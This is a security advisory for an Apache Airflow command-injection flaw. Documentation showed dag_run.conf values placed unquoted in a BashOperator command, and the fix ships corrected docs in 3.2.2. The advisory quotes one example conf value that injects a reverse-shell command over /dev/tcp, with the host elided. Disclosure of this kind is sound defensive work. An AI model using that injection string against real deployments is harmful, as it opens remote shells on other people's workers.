CVE-2026-42252
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Description
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
How to fix CVE-2026-42252
To remediate CVE-2026-42252, upgrade the affected package to a fixed version below.
- —upgrade to 3.2.2 or later
- —upgrade to 3.2.2 or later
Is CVE-2026-42252 being exploited?
No exploitation signal available. Neither CISA KEV nor a current EPSS score has been published for CVE-2026-42252.
Affected packages (2)
- >= 3.0.0, < 3.2.2
- >= 3.0.0, < 3.2.2
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL9.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |